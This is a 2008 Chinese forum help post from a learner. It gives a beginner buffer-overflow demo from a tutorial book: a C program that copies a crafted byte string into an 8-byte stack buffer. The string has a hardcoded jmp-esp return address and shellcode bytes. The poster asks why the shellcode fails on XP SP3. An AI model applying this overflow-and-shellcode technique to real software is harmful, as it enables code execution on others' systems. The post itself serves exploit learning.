-
-
[求助]缓冲区溢出小问题.
-
发表于:
2008-8-15 09:25
4973
-
#include <stdio.h>
#include <string.h>
#include <windows.h>
char name[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x83\xEC\x40"
"\x53\x56\x57\x8D\x7D\xC0"
"\xB9\x10\x00\x00\x00\xB8"
"\xCC\xCC\xCC\xCC\xF3\xAB"
"\x8B\xF4\x6A\x00\x68\x2C"
"\x20\x42\x00\x68\x1C\x20"
"\x42\x00\x6A\x00\xFF\x15"
"\xAC\xA2\x42\x00\x3B\xF4"
"\xE8\x2B\x00\x00\x00\x5F"
"\x5E\x5B\x83\xC4\x40\x3B"
"\xEC\xE8\x1E\x00\x00\x00"
"\x8B\xE5\x5D\xC3";
int main()
{
char output[8];
strcpy(output,name);
for(int i=0;i<8&&output[i];i++)
{
printf("\\0x%x",output[i]);
}
return 0;
}
===========================
<缓冲区溢出教程>书上的第一个demo
书上是试验环境是:2ksp?+vc6sp?
我的环境是:XPSP3+VCSP6
通用跳转地址:"\x12\x45\xfa\x7f"
跳转正确, 定位也对, 后面的shellcode就是不能执行, 报了个错误. 不知道为什么?! 哪位高人给小弟指点指点, 小弟 新学 谢谢大家了!?
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课